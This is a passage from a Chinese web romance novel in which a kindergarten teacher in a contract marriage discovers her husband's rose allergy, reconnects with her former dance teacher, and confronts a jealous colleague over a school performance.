但她心里有些害怕这抹甜腻,于是慌忙从吧台跳下,留下一句话:“你快吃吧,吃完记得收拾好厨房,我、我先去睡了。”随后,头也不回地往楼上跑。 谢温言低头笑了笑,细细品尝周绾宁为他亲手做的饭菜。 * 周三上午没有课,周绾宁一觉睡到了日上三竿。 睡意消散后后,她满足地看着身侧空荡荡的枕头,翻身过去,慵懒地抱住谢温言的枕头,闻着上面的淡香,心里很是安宁。 这时,她的手机里闪进一个电话。 是……高琼芝的女儿小苹果打来的。 她立马接起:“喂,小苹果?怎么了?” 开学时,周绾宁有特意让每个小朋友记下自己的电话。 这样万一小朋友出去遇到什么事情,除了他们的爸爸妈妈还有她这个老师可以帮忙。 但自从上次高琼芝来幼儿园闹事、前园长何正启贪污落马,小苹果就没来幼儿园再上过课。 她突然给她打电话,应该是遇到什么事了。 “小周老师,呜呜……” 小苹果没有回答,只是一个劲在电话对面哭。 周绾宁的心一下子揪紧了起来。 虽然高琼芝还有那个变态对她做的事情确实不厚道,但她挺喜欢小苹果的,她是个又有礼貌又很善意的孩子。 “小周老师,爸爸妈妈吵架,我一个人从家里逃出来了,呜呜,小周老师我害怕。” “别怕,你在哪?老师马上过来接你。” “就在幼儿园旁边的儿童乐园里。” “好,小苹果,你在乐园里等着老师,谁来找你都不要跟他走,知道吗?” “嗯!” 听到孩子稚嫩的声音,周绾宁发消息向周辞安请了假,讲明缘由,随后连忙洗漱完驱车赶去了儿童乐园。 * 从停好的车上下来,周绾宁顾不得身体的不舒服,跑到秋千区找到了在那形单影只的小苹果。 小家伙孤零零地荡着秋千,看到她赶来后,忍不住眼眶发红,泪汪汪的,委屈叫她:“小周老师……” “老师在这,别怕。” 周绾宁蹲到她面前,揉揉她的脑袋。 后来,在发现她的小手发凉时,她觉得还是要尽快送她回到她父母身边,便和她商量。 “小苹果,老师先带你回幼儿园,然后让其他老师帮你联系……” “不用了,就是我把她带出来的。”这时,一道熟悉的声音从后方传来,打断了周绾宁的询问。 周绾宁愣了下,回头看去,发现是高琼芝。 那一刻,她感觉自己的额头在隐隐作痛,忍不住问,“高女士,你利用小苹果引我来这里,是想做什么?” 高琼芝没有说话,只是一味地走近,直到两人的间距只剩一米时,她高大的身躯突然落跪到地上。 她仰面,像是鼓足了很大的勇气,乞求道:“是我之前有眼不识泰山。” “小周老师,我已经和那个混蛋已经协议离婚了,那天砸伤你的事情我很抱歉,你要怎么对付我都行,能不能别为难高家。我们真的很需要宋氏的那个项目。” 之前高氏就一直在求着和宋氏合作,眼见宋氏要松口,高氏加紧融资。谁能想到宋氏会突然把项目给了一个名不见经传的小公司。 高氏动用各种人脉,才查到对方是一个叫盛世云启的公司,而法人就是眼前这个周绾宁。 那时候她还很有信心,跟宋承珉摆出了各种条件,想让宋承珉收回主意。 宋承珉意识到她在调查,只是一句警告:“盛世云启的背后,是那个人。你不要命了?” 高琼芝愣住。 能让宋家太子爷都忌惮的人,只有京圈那个最不能惹的存在了。 她没有资格去求见谢家的那位,所以想通过幼儿园这条线找到周绾宁。 周绾宁应该是谢家那位的情人,在他心底也有一定的份量。 想着,高琼芝急忙握住周绾宁的手,近乎是哀求:“求求你。” 周绾宁用力将自己的手抽回:“我不知道高太太在说什么。这儿是公共场合,请你自重。”说完,她转身要走。 高琼芝站起来,几乎是吼出声来:“高氏集团三千多个员工的生计,全在周小姐的一念之间。” 本要离开的周绾宁,脚步骤然停下。 过往一些昏暗的回忆,像是海水奔腾过来,灌入她的脑海里。 周家破产她是亲历者。 那时候,她不得已暂时放弃学业、放弃舞蹈,和爸爸一起奔波拉投资。 她见过爸爸在酒局上喝酒喝到吐,也经历过在带他离开时,那些昔日道貌岸然的叔叔们恶心的咸猪手和言语羞辱。 后来周家破产,周氏集团下面的员工纷纷没了收入来源,一些底层的工厂工人甚至有因为失去生计自杀的。 就连她爸后来也是。 她垂在身侧的手微微握成拳头。 高琼芝的声音从后传来。 “周小姐,你要我怎么都可以,我可以跪着在这个儿童乐园走一圈,甚至我可以带着小苹果从此离开这个城市。” “……只求您,让谢总放我们一马。” * 犹豫一下午后,周绾宁还是为了高氏集团的事,踏进了盛坤集团的门。 她不是来给高琼芝求情的,只是觉得她们之间的恩怨没必要牵扯到一个企业的生死存亡,害那么多人失业。 当然她也不会插手盛坤的事情。 她过来只是想来问问谢温言对高氏集团员工的安排,如果能保住他们的岗位,那就是最好的结果了。 为此,她还特意带了一份谢温言这个隐藏甜食爱好者很喜欢的小蛋糕。 她走到总裁办的前台那,向小助理报上了自己的名字。 谢温言说过,只要是她来,可以不用通报,直接进去。 小助理查阅了下通行名单后,犹豫一瞬,恭敬地解释:“女士你好,现在总裁有些不方便,请您在外稍微等下。” “不方便?” “嗯,他正在接待一位客人。” 客人? 需要谢温言亲自招待的,想必是位贵客。 周绾宁第一时间想到了谢温言的好友宋承珉,便道:“没关系,我可以在门口等一会儿。” 助理也没多阻拦,对她指引了方向。 周绾宁道了谢,拎着小蛋糕去到走廊尽头的总裁办公室外等候。 不知道谢温言会和宋承珉聊多久,她等得有些无聊,目光无意识划过手腕上的表。 这是谢温言去年结婚纪念日,送她的。 粉色的表盘上镶满了钻,是私人高级定制的情侣女式款。 从要追求他开始,她就把它戴在了手上。 有点儿像以前情窦初开的女生,会和喜欢的人偷偷戴同款一样。 她沉溺在手表的意义和美貌中,忽的,眼角余光注意到了一旁的垃圾桶里。 那里有一抹熟悉的红。 略一犹豫后,周绾宁伸手打开垃圾桶的盖子。 在看清里面的东西后,愣在当场—— 原来她满心欢喜送给谢温言的花…… 并不在他的手上,而是被人丢在了垃圾桶里。 周绾宁来不及细想原因,这时,没有关紧门的总裁办公室里传来一男一女的话音。 她小心翼翼地探头看向里面。 却见谢温言正在接待的贵客,压根就不是宋承珉,而是…… 沐黎。【你现在阅读的是魔蝎小说 moxiexs】 14-20 第14章 散心 强迫自己,放弃这段婚姻、放弃他…… “也不知道是谁送你的玫瑰花。” 沐黎在书柜下寻来抗过敏的药, 又去饮水机那接了杯水,一起递给办公桌后咳得厉害的谢温言。 “合作伙伴?追求者?还是其他兄弟?” 说着, 她的语气略带埋怨,“应该不会是他们,大院里谁不知道你对玫瑰花粉过敏。送你玫瑰花,这是想要你的命吧。” “谢谢。” 谢温言吞下药片,缓了一会儿,没再像刚刚那样激烈地咳嗽了。 “那么客气干什么?咱们都多少年交情了。” 沐黎走到对面坐下,一手杵着下巴, 略一思忖后, 有些严肃看向他。 “不过……送你玫瑰花想害你过敏, 还挺像商业竞争手段的, 会不会是你的敌人?” “不太可能。” “怎么不可能?现在你们盛坤集团和恒星集团打得热火朝天,估计是有人想害你生病住院,无暇顾及盛坤集团。” 听着门内沐黎的猜测,门外的周绾宁心脏紧了又紧。 如果说, 撞见谢温言和沐黎在一起,她是生气、吃醋、愤怒的…… 那么现在,在了解里面的情况后, 她的心里就只剩下了愧疚、自责与自嘲。 “大院里”的人都知道谢温言对玫瑰花粉过敏,可她竟然一点也不知道。 纵使她和他只是契约婚姻。 可从她乙方的身份来看,不了解这点实属不太应该。 站在门口的周绾宁,陷入自责和不安之中。 她努力回忆着过去,生怕因为自己的不了解, 在以前也有过害谢温言花粉过敏的情况发生。 没想到谢温言和谢温鄞除了眼睛长得像,原来对花粉也一样过敏? 她和他结婚那么久了,竟然一点也没注意到。 这一刻, 周绾宁近乎挫败地站在原地,愧疚到心脏酸涩不已。 原来,谢温言和沐黎真的像他们cp粉所说那样…… 一个是舞蹈界的首席,一个是首席执行官,虽在各自的战场展现着不同的星芒,却很了解彼此的领域—— 沐黎知道盛坤的近况,谢温言则会每年都去看一场古典舞的演出,对于舞蹈的术语也很清楚。 那么登对般配的他们,她在此刻却想着去做他们感情里的小丑。 周绾宁深吸一口气,想要强压下心中的难过,却导致泪意忍不住涌出眼眶。 她不知道自己是怎么了。 明明在追求谢温言之前都做好了可能会追求失败、自己会对这个男人彻底死心的准备。 但真到了这一刻,她的心就像是遇到了又一场无疾而终的暗恋一样,不仅空落一片,还有点疼。 周绾宁垂眸看了眼手上的蛋糕。 最后拎上它,如同落荒而逃一样,离开64层。 屋内,谢温言看向沐黎:“你待会儿没有别的事要做了吗?” “这就下逐客令了?” 沐黎站起身,一脸惋惜,“本想着来你们盛坤拍摄宣传片,还能和你这个好友叙叙旧,你现在怎么那么冷情啊?” “沐黎,我已婚。” “我知道啊。” 沐黎脸色一变,强颜欢笑,“谁不知道你谢家大少爷已婚的这件事……” “你的营销公司为了卖你巡演的票,一直在网络上炒作我们的cp。”谢温言见她装傻,忍不住提示。 沐黎的脸色更差了。 谢温言:“这件事我不信你不知情,也不信你没这个能力拒绝。我希望没有下次了,如果你做不到,我不介意帮你清理这些痕迹。” 沐黎气得一噎:“谢温言你!” “还有,我不喜欢上热搜,也不希望在热搜上看到任何诋毁我妻子的言论。我只有这一个妻子,别给我气跑了。” 说这席话时,谢温言的语气还算温柔。 只不过当温柔里藏了刀时,就远比其他时候还要渗人。 也足以见得,“被炒cp”不是他的底线,但“他的妻子受到攻击”绝对是。 沐黎也没想到,自己想多待一会儿,会遭到谢温言这样的对待。 “你倒是把你老婆保护得很好。她是哪家的大小姐?什么时候让兄弟们见见?” 谢温言轻咳了声:“等有机会,我会介绍她给你们认识。” “那很期待了。” 沐黎硬撑着笑了笑,随后故作轻松,“正好,我还没去见伯母,就先下去了。”这个伯母指的是孙晗莉。 谢温言没再理会,让她随意。 沐黎抿了抿唇,转身离开。 谢温言放下手头上的工作,拿起刚刚玫瑰花束上遗落下的卡片,仔细端详起来。 上面的店名,让他有种莫名的熟悉,好像在哪见过。 不过他没多想,收进了一旁的抽屉里,给周绾宁打去电话,想预约她今晚所有的时间都归他。 未料,一连三个电话,她都没接。 谢温言微微蹙眉,只当她是还在上课,没开机。 最后,他发了条微信过去,告知下班后他会去幼儿园接她放学,随即起身前往会议室。 * 周绾宁没有去幼儿园,也没有回梧桐湾。 她独自一人坐在京市大剧院的观众席里,看了整整一下午的古典舞剧目,也思考了一下午关于今后的路。 其实今天的事,让她感到很挫败。 明明不了解谢温言,却 椿?日? 还想着追他,最终导致他玫瑰花粉过敏。 虽没酿成什么大错,但足以证明他们俩确实不适合在一起—— 她从没有了解过他,他也没主动告诉过她,他有这些禁忌。 这两天的心酸和难过,她现在都没办法转移成一个妻子对丈夫的不满,因为愧疚多于其他。 周绾宁努力缓和着自己此间所有的情绪,并劝自己认清现实: 她和谢温言没可能。 想着,她也给林星禾发了条消息过去,告诉对方明天开始不用再帮她送玫瑰花到盛坤集团了。 星禾是个很有边界感的人,就算好奇原因,也没有追问,而是发来了[抱抱]的表情。 周绾宁会心一笑,回了句谢谢。 她想,接下来自己该好好收收心。 争取三个月后自己能重拾跳舞这项技能,以便日后站上更大的舞台绽放光彩。 等自己也变得很优秀了,或许再有很想要的人或物,也能有十足的底气去靠近。 至少不会像现在这样,只想变成鸵鸟,缩回自己的营地里,觉得配不上。 这时,台上最后一场表演结束。 周绾宁扫掉心中的涩然,为舞者们鼓掌,也像是在为下定决心的自己加油。 舞台落幕,观众离席。 周绾宁顺着人潮走到出口,忽然,她的肩膀被后方的人拍了一下。 她疑惑看去,发现对方竟然是自己大学时期的舞蹈老师,岑霜、岑老师。 一时间,周绾宁的心绪颇多。 甚至因为有些无颜面见之前悉心栽培过自己的导师,很想对对方说一句,她认错人了。 但岑霜拉住她的手,很是肯定道:“宁宁,真的是你,刚刚里面灯光不明显,我在台上还以为是自己认错了。” “岑老师……”周绾宁唤着她,声音有些沙哑。 岑霜连连点头应声:“诶!” 而后她缓了一会儿激动的情绪,出声道:“老师还以为你不从事舞蹈这行后,就很难再遇见你了。” 这一刻,周绾宁之前压下去的眼泪,再度翻涌上来。 今天怎么会发生那么多让她想哭的事情呢? 岑霜似乎也看出了她眼里的泪意,像一位母亲一样摸摸她的脸颊:“宁宁,这两年你过得还好吗,今天怎么有空过来?” 当年周家出了状况,岑霜也曾动用人脉想帮周绾宁进入市舞蹈团里工作。 有演出费,至少能帮她缓解经济压力,顺利从京舞毕业。 谁知周绾宁拒绝了。 后来她休学一年,直到次年才回学校交了自己编排的舞蹈曲目顺利毕业,而后便没了消息。 这也是岑霜在她休学后,第二次见她。 周绾宁没打算将自己的近况告诉老师,主要是不想在昔日的恩师眼里看到那份对自己的惋惜与怜悯。 她匆忙转移话题,故作轻松道:“这场《浮光》是老师您亲自排的舞,据说获得了不少国内外的大奖,我就想着来看一看现场。恭喜老师得偿所愿。” 岑霜却是一脸落寞:“当初,这首《浮光》是老师本想送给你的毕业礼物,你是老师所有学生里最优秀的,光是国内就拿了多少奖?老师也一直相信,只有当初的你才能真正跳出这首曲目所承载的感情,但后来……” 过往的辉煌就像是尖刺,此刻狠狠刺入了周绾宁的心脏。 她恨不得立刻从这个地方逃走,但脚步万分沉重。 最终千言万语,只剩下一句她哽咽的道歉:“抱歉,老师。” “不说这个了,宁宁你有没有打算再回舞台?” 岑霜眼底都是求贤若渴的光芒,“我的舞蹈工作室得到注资,正在扩招,需要很多会跳舞的人才。老师希望如果你有回到舞台的想法,可以加入老师的团队。” 刚刚还下定决心要重回舞台,但其实周绾宁还有一定顾虑的。 她两年未登上舞台,基本功落下不少,老师的团队里都会是最年轻最厉害的学生,她何德何能去占一席位置。 况且,现在还没和谢温言离婚,要是被谢家人知道她在外抛头露脸,估计会出现不少嫌隙。 周绾宁思虑再三道:“老师,能给我点时间吗?等我回到以前那样优秀,我一定来敲您舞蹈团的大门,届时就算你想赶我走,我也会死皮赖脸地留下。” 岑霜本就是为了探探她的口风,见她真的要回舞台,激动得不知如何是好,连连点头:“好好好,老师等你回来。” 周绾宁点头:“嗯!” 之后,又跟老师简单寒暄了几句,她才离开剧院。 * 回到梧桐湾时,夜已深。 周绾宁推开梧桐湾的门,却见二楼主卧的灯没开,反而是一楼客厅的拱形法式的落地窗映出一扇橘暖色的光。 光前是谢温言穿着浴袍的颀长身影。 他好似不惧寒夜的冷,就这么站在那,两条小腿露在风中,彰显着他寻常不轻易显露的性感。 周绾宁垂下眸光,虽然看不清他此刻的神情,但也能感受到他的目光一直看着她,眼神炙热又专注。 想到自己今天差点害了他,所以她特意回来得有点晚,就是想要避开与他有直面交谈的可能。 却没想到他会在一楼等她来,还等得那么晚。 有那么点猝不及防。 好在,谢温言并未跟她说一句话,转身进了屋里。 周绾宁深吸一口气,拎着包走进玄关。 未料。 男人等在了门后。 在她进去后,压迫感十足地倾身过来,一把将她摁在了门上。 她吓得一松手,包坠地发出不轻不重的声响。 属于谢温言身上的气息扑面而来,侵占她全身的感官,让她不得不将自己全部的注意力放到身前的他身上。 最后,她伸手抵在他的腹肌上,阻止他太过靠近自己。 “谢温言……” “电话不接,学校不去,有家不回。周绾宁,一个下午,你都去了哪?” 谢温言微微垂首,昏暗的玄关处,让人看不清他脸上的情绪,却能感知到他此刻情绪的难忍。 周绾宁有意断联,让自己沉静一下午,所以也早就想好了应对之策。 “我就是出去散了散心。” 她装作若无其事的模样,伸手握住他的微凉的大手,“你在门口等了我很久?为什么不在屋里等,外面那么冷,感冒了怎么办?” 这些话,还是有她的关心在里面的。 她害他玫瑰花过敏。万一他免疫力变弱,因此发烧感冒,她会很愧疚。 谢温言则眸色深深地看了眼怀里的人。 不得不说,一下午联系不上她所产生的焦急和怒意,在此间被她的三言两语轻而易举抚平。 他叹了一口气,牵着她往二楼走:“你现在是例假第三天,不注意保暖,穿那么少在外面待到这么晚才回来,你该担心的不是我,而是自己会不会感冒。” 看着他领着自己的高大身影,周绾宁只感觉一阵酸涩感就这么再次袭来,盈满了她的鼻头。 谢温言一直以来对她都算是冷淡中透着温柔。 但这种温柔以后怕是享受不到了,而且以后他的这份温柔还会分给别的女人。 光是想到这点,她的眼眶里生生塞满了一汪泪,眼前也变得模糊一片。 也因此,她不知身前的人是什么时候转过身来的。 最后,咚的一声,她一脑袋撞在了他的胸肌处。 “对、对不起。” 周绾宁一边道歉,一边慌忙后退。 但谢温言伸手将差点踩空的她拽回了,并揽入他的怀里。 一时间,她的鼻息里盈满了他沐浴乳的味道。 谢温言居高临下看着她,眉头蹙起,不解地询问:“所以,你最近是工作压力太大?还是心里有藏着没法说出来的事?” 周绾宁躲过他的眼神,不想让他看出更多。 𝑪𝑹 “说是出门散心,回来后却还是一副心事重重的模样?” 谢温言温柔了声音,告诉她,“绾宁,你有任何顾虑和烦恼,都可以告诉我,我和你一起承担。” 周绾宁心念动摇,但不敢贪图他的好:“可能是教小朋友们有点累了,所以今天就给自己放了个假。” 谢温言看上去没怀疑。 “等你例假结束,我又没什么事的时候,我带你去附近的温泉山庄玩几天?好好放松放松。” “嗯。”周绾宁慌忙应承下来。 接下来的时间里,她还是要和他好好生活。 追求不成,恩情仍在,她会继续做好谢温言的工具人,站好最后一班岗。 两人洗漱睡下后,周绾宁因为一天的奔波,早早地进到了梦中。 谢温言静静地躺坐在她身旁,一手拿着霜舞工作室的企划书,另一手帮她捂着微凉的小腹。 就在他收手准备翻页时,忽的,睡着的人主动钻进了他的怀里,手臂略带霸道地搁到他的小腹上,像是毫无芥蒂地在占据他。 谢温言心一暖,未料下一秒,周绾宁的手顺着他的腰腹一路往上摸。 他的身躯忍不住一紧,浑身的气血都好像在往下冲去,也有什么在悄然苏醒。 如果是以往…… 周绾宁恐怕已经在他身下承受他的所有。 他不是柳下惠,对她的投怀送抱从来就没有定力。 但现在她来了例假,他再是有想法,也只能忍着。 不过从下周开始,他就不会轻易放过她了。 思及此,谢温言没了心思看文件。 他收好文件,又伸手关了床头的台灯。 犹豫一瞬后,他低下头于黑暗中寻找并吻上了周绾宁有些发干的唇。 他舔着她的唇瓣,动作轻柔又黏腻,似是不愿意与她停止缠吻。 * 周绾宁洗漱完摸去餐厅的时候,还有些睡不醒。 她保持勉强撑着坐了一会儿后,很是干脆地闭上眼重新趴到餐桌上补觉。 谢温言见她困成这样,笑着帮她端来早餐:“如果不是昨晚你在我身旁睡得很香,我会以为你做贼去了。” 周绾宁打了个哈欠,声音闷闷的:“昨晚太困了,半夜还总觉得有什么东西压着我,但我怎么也睁不开眼。” 说着,略一思忖后,她带着懵懵的怀疑,“难道昨晚我是被鬼压床了?” 谢温言:“可能吧。” 男鬼本鬼面不改色地吃了口早餐,转移话题,“对了,周末是爷爷的生日。一开始他老人家觉得小生日一家人吃顿饭就好。但年前我小姑的女儿生了对龙凤胎,孩子们的满月酒和爷爷的生日撞在一天了,所以爷爷准备大办一场。” 那也就是说…… 又要面对谢家人了? 周绾宁的瞌睡顿时消散,她点点头:“好。” 谢温言将她神情上的落寞窥见得一清二楚:“我知道你不喜欢去谢家,到时候我来应付他们,你怎么舒服怎么来就好。” 周绾宁咬了咬筷子尖:“万一,我闯祸了呢?” “我无法将你和闯祸两个字联系起来。” 似乎觉得这样的回答不太够,谢温言又加了一句,“如果你真的闯了祸,也有我给你兜着。” 周绾宁忍不住握紧手中的调羹。 那么甜的一句保证,时至今日还会让她泛起悸动,但过后就是一阵酸涩难忍。 不过“兜着”两个字,倒是让她不免想起昨天高琼芝找上自己所求的事,犹豫后开口:“其实昨天高琼芝有找过我。” 谢温言嘴前的勺子顿了下,眸色间阴郁许多:“不用管她,如果她还来找你,告诉我。我去解决。” 他说话时,还是温润如玉的气质,眸间却是一片冷戾。 “谢温言,你误会了。我是想说……” 周绾宁组织了下语言,尽量不伤及他的感情,“你出手帮我解决幼儿园的事,我很感激。但其实不是什么事都需要你亲自出马,你……” 谢温言当即冷下眼神,打断她的话:“周绾宁,你的意思是……你被人欺负,我作为丈夫最好袖手旁观?” 餐厅的空气静了静。 “我不是这个意思……” “还是说,以后你的事,我都不被允许插手?” 此刻的谢温言,说话有些像是应激一般夹枪带棒。 周绾宁抿了抿唇,不再与他争辩。 他是甲方是金主,她就不惹他不高兴了。 谢温言看着突然陷入沉默的妻子,再大的脾气在看到周绾宁水汪汪的眼睛对着他时,心还是软了下来。 只是说话时,他的声音还是寒霜一片:“我也不是什么事都会亲自出马。” 周绾宁愣了下,有些没听清:“什么?” “没什么。”谢温言夹菜吃了口,默默咀嚼了一会儿。 就在周绾宁以为他不再搭理自己时,他又开了口:“你想要我放过高琼芝?” 见事情还有转圜的余地,周绾宁连忙接着说出自己的诉求:“其实我不在乎高琼芝怎么样,只是担心高氏没了,他们旗下的三千个员工会……” “谢温言,你知道的。高氏集团里有很多以前跟着我爸打江山的叔叔阿姨,在周氏倒闭后,他们有一部分去了高氏,我、我不想他们再因为我……” 周绾宁没有继续说下去。 谢温言则清楚她的言外之意。 他给她许下一颗定心丸:“高氏现有的员工都不会被裁。” 周绾宁面露错愕,片刻后,洋溢出开心。 但她也有些担忧:“这样会不会对盛坤造成什么影响?” 产业整合不是什么小动作。 “收购高氏的,不是盛坤,是盛世云启。” “盛世云启?” 看出对这四个字,有些眼露茫然的妻子,谢温言耐心解释: “不记得了吗?之前婚前协议书上有写明,盛世云启是这段婚姻我对你的弥补之一。等协议到期后,无论你身处何方、生活如何,它都会是你最大的底气。” 周绾宁眼里原本还存在着的笑意,因为他的话瞬间凝滞成冰。 谢温言的话,让她意识到一件事—— 原来他真的有在为三个月后和她离婚,做准备。 也好。 这时谢温言站起身,将果汁推到她面前:“我送你去公司。”先走了两步,想到什么又折回来叮嘱,“我给你的果汁,不许再给别人。” 周绾宁愣了下,乖乖点头。 * 和谢温言在幼儿园旁边的小胡同处告别,周绾宁径直跑向了教室去上课。 等第一节课结束后,她回到办公室里,却发现里面的氛围有些不同寻常。 部分同事有意无意的审视,也让她有些茫然。 但周绾宁没有心情去探究太多,专注在自己工位上准备下节手工课的内容。 忽然,有道人影快步走来,伸来一只拳头用力敲了下她的桌面。 周绾宁抬头看去,是叶希荷。 她的质问铺头盖脸而来:“周老师,之前我们不是说好,你不参加校庆表演的吗?” 周绾宁一愣,如实回答:“我确实没打算参加。” “你还狡辩!” 叶希荷的声音放大,“今天校庆表演名单呈上去了,里面有你的名字。” “你想参加你就直说啊,我又不会真拦着你!你至于搞这些小动作吗?你这人真是……真是传说中的又假又装!” “小叶老师,过分了!”一直与周绾宁交好的韦老师出声呵斥。 李老师也道:“小叶老师,大家都是同事,你怎么能这样说呢。和和气气的不好吗?” 叶希荷道:“和气什么呀,她这次敢做不敢承认,下次指不定怎么插刀呢!” 周绾宁站起身来,此时她的神色不再是平日里的云淡风轻,而是不好惹。 “叶希 春鈤 荷,你平日里没有边界感喜欢替人做决定,我只当你是刚毕业,不懂与人该有的礼貌和尊重。现在,你又当众给我难堪,那么我也不与你客气了。我想问,我怎么假,怎么装了?” 这时,李老师出来打圆场:“小周老师,你也别置气,别与小叶老师一般计较。她就是一个没什么头脑的小姑娘,不太机灵。” “李老师,我知道您的好意,但我今天……必须和她计较。” 说完这句话,周绾宁上前一步,看着叶希荷,冷下来的神情不似平日的温煦,“我说没报名就是没报名。如果最终呈上去的名单里有我,那也是领导的另有安排。” “领导?你是想说园长吧?” 叶希荷一脸气愤,“你明知道我喜欢周园长,这件事我也是明明白白告诉过你的。可前几天放学后,你和周园长在这里私会,举止亲密,别以为没人看见!” 周绾宁面色有一瞬变化。 意识到是前两天自己找周辞安要舞蹈教室钥匙那次。 叶希荷却以为她是心虚了,更是盛气凌人起来:“周绾宁,你怪会勾引人的。之前勾引小苹果爸爸,搞得高琼芝大闹幼儿园,害得何园长被连累开除,现在周园长才来几天啊,你也勾搭上了。要不要脸。” 周绾宁面露一瞬不可思议,随即直接回怼:“叶希荷,高琼芝那次警察都还了我公道,我是受害者,你却用我的遭遇来污蔑我?你为人师表所谓的师德就是这样吗?” “你!”叶希荷上前伸手要打下来。 周绾宁后退躲开,而叶希荷用力过猛,撞上桌角,又因脚上的高跟鞋一扭,整个人毫无形象地摔在了地上。 周绾宁冷眼看她:“叶希荷,见自己没有道理,你就想打人吗?” 李老师连忙将叶希荷扶起来:“这是干什么呀!小叶老师?” “周绾宁,我朋友说了,你压根就没从京舞毕业,你前两年休学后就没消息了,所以你一个高中文凭怎么配来星海幼儿园教书!所以我说你又假又装,有什么错!” 这番话一出,办公室里一片哗然。 周绾宁垂下眼眸握紧拳头,刚想说什么,门外响起一个声音来。 “小周老师京舞休学一年,最后以优异的成绩于次年从京舞大学毕业。学历也是网信办能查到的。叶希荷老师,请不要造谣。” “谁造……”叶希荷的话音戛然而止,因为来的人是周辞安,周园长。 周辞安的神色冷然:“既然因为表演名单有异议,我就过来做个解释,补充下上次会议没有说明白的话。这次,不是普通的六一儿童节晚会,是盛坤集团领导会下来观看的校庆晚会!就算有人有心想要上台表演,也得有能力胜任。” 叶希荷刚刚的盛气凌人、得理不饶人的刁钻全然不见,此刻支支吾吾的说不出话。 “我放着京舞毕业的老师不让她上台表演,是存心与自己的职业生涯过不去吗?” “可小周老师自己都说了,她已经很久不跳了。” “距离六一还有两个月,够你们练的。” 叶希荷还是不服:“我只是要个公平!想要公平竞争。” 一旁的徐婧看戏都看烦了,冷声道:“别瞎叫唤了,刚刚打个人你都摔成那样,别上台表演把自己表演骨折了。” “还有,这个世界本来就没有绝对的公平,小周老师进入幼儿园前就是比你多一项舞蹈生的身份,就像我比你多一层国外留学的经历。你要公平,但人生没有绝对的公平,而园长只是要他第一次举办的晚会,能够展现出它最佳的效果,就够了。” “徐老师,你不是一向站在我这边的吗?怎么能帮着周绾宁说话。” “你自己爱拉帮结派,别算上我,我没工夫跟你搞这些。”徐婧翻了个白眼,拿上自己的教具离开了。 周绾宁也累了,一边拿上自己的教具一边道:“本来这个舞台我参不参加都无所谓,但既然你那么想要,那我一定会参加。” 叶希荷差点气得吐血:“你!” 周绾宁说:“我记得教师团队里是选三个节目上台表演。所以叶希荷,你最终的对手不会是我。因为你……没这个资格。”说完,她离开了办公室。 “周绾宁!”叶希荷指着周绾宁的背影,气得怒吼,但最终也说不出什么话来回怼。 周辞安冷眼看着眼前叽叽喳喳的女人,淡声警告:“希望我不会再从你口中,听到关于我的谣言。”说完,他也大步离开。 办公室重新恢复安静,昔日捧着叶希荷的人,纷纷对她退避三舍。 毕竟谁都不想惹一个当众给人难堪,还不止不休的疯子。 叶希荷看着周围人缄默其口,再也不帮自己了,委屈地拿出手机给自己的好友打去电话哭诉。 而另一边,周辞安刚下一楼,便与一早等在那的周绾宁碰了面。 周绾宁示意他去后面的中庭花园,周辞安点点头,一起过去。 “是你帮我报的名?” 到了旁人看不到的角度,周绾宁直切主题质问着自己的堂弟。 “嗯,你不是已经开始替晚会准备舞蹈了吗?” 周辞安很是理所当然,“你从三岁就开始练舞,这种以能力高者为上的项目,我不把这个名额给你,还能给谁?” 周绾宁气得一噎:“谁让你擅作主张了?” “什么叫擅作主张?你那么喜欢跳舞,结婚后不去参加大型演出我理解,但难不成连幼儿园这种舞台也要推掉?” 周辞安不服地一嗤,“我可不信你不爱舞台,也不信你不会跳了。周绾宁,舞蹈就是你的命啊,那是刻在你基因里的热爱。” 他还记得小时候,周绾宁睡个午觉都还在练习一字马。 周绾宁一面感慨周辞安那么懂自己,一面又无奈地闭了闭眼睛重申:“总之我现在不能跳。” 纵使一贯大大咧咧的周辞安,此刻也敏锐起来了:“是谢家要求的?” 周绾宁犹豫一瞬,点点头。 “姐夫也不让你跳?” 周辞安蹙起眉,眼眸倏地泛冷,再也不是之前提及谢温言时略带崇拜的眼神了。 周绾宁则因为他的话,想起了那一夜自己打了谢温言无数个电话,但回答她的都是冷冰冰的机械女音。 她摇摇头:“他让不让,早就已经不重要了。” 又解释,“我练习舞蹈,是为了之后去应聘京舞一团练习的,不是为了晚会。” 周辞安恍然大悟,但面上有些纠结:“但现在名单已经递交上去了。” “也没关系了。我已经和叶希荷下了战书。” 周绾宁叹了一口气,“现在是不上也得上,不然有点儿丢份。” “但你放宽心。” 周辞安安慰道,“谢家人不一定会来。” 周绾宁想了想,也是。 这次校庆只是一个市区幼儿园的校庆。 集团最多拨一个经理级别的领导过来写写新闻稿。那个领导也不一定知道她和谢温言的关系。 到时候再舞台妆一化,谢家人也不一定能认出自己。 周辞安伸手揉揉她的脑袋,犹豫间,还是将自己心里藏着的话告诉她:“姐,如果你现在的生活并不开心,那么你得记住,无论你做什么决定,我都会支持你。” 他握拳敲了敲自己的胸口,“别的男人不一定靠谱,但你弟弟周辞安已经有能力好好保护你了。” 周绾宁眼含感动,点头应声:“好。” * 老爷子的生日宴将在逸园举办。 从梧桐湾赶过去需要一个小时的车程,周绾宁早早地醒来梳洗打扮,并挑选最适合今天宴席的衣服。 最后,她选出一件新中式改良旗袍。 没有传统旗袍的正式,但这一身带着别样的端庄和文静。 忽的,身后的门开了。 周绾宁茫然抬眸,恰好与推门而来的男人在镜子里对上了视线。 她看不清谢温言眼眸里的情绪,但她是有被他今天的衣着惊艳到的。 他穿着她年前买的一套暗蓝色暗纹细闪的缎面西装。 椿?日? 他身材板挺又皮肤白皙,穿着这身高定,显得他整个人贵气又禁慾。 是就算想吵架,看到这张脸、这副身材都吵不起来的帅气。 周绾宁本就对他没有什么定力,在发觉自己有那么点喜欢他之后,这份定力更是为负数了。 她只能低下头,躲过他的视线,让自己对他没有那么多的想法。 这时,谢温言从后靠近她,宽大的手掌就这么伸到她身前,包住了她整个小腹,再是用力将她摁得贴合在他身前,不给她有逃脱的机会。 “很漂亮。” 他哑声夸赞,一双好看的眼睛沉冷又明亮,仿佛是燃烧的炙热野火。 周绾宁愣了下,客气道:“谢谢。” 这时,谢温言的气息贴了过来,唇齿剑指她的脖颈。 一旦亲上了,那意味着什么,周绾宁很清楚。 她连忙拾起一旁的手链递给他,企图分散他的注意力:“谢温言,麻烦帮我戴一下。” 谢温言察觉到她动作里的小九九,没接过她给他的手链,而是拿出自己让助理去特别定制的一条,打开盒子,给她戴上。 周绾宁看着用水晶编织成洋甘菊的手链,眼露惊喜与好奇。 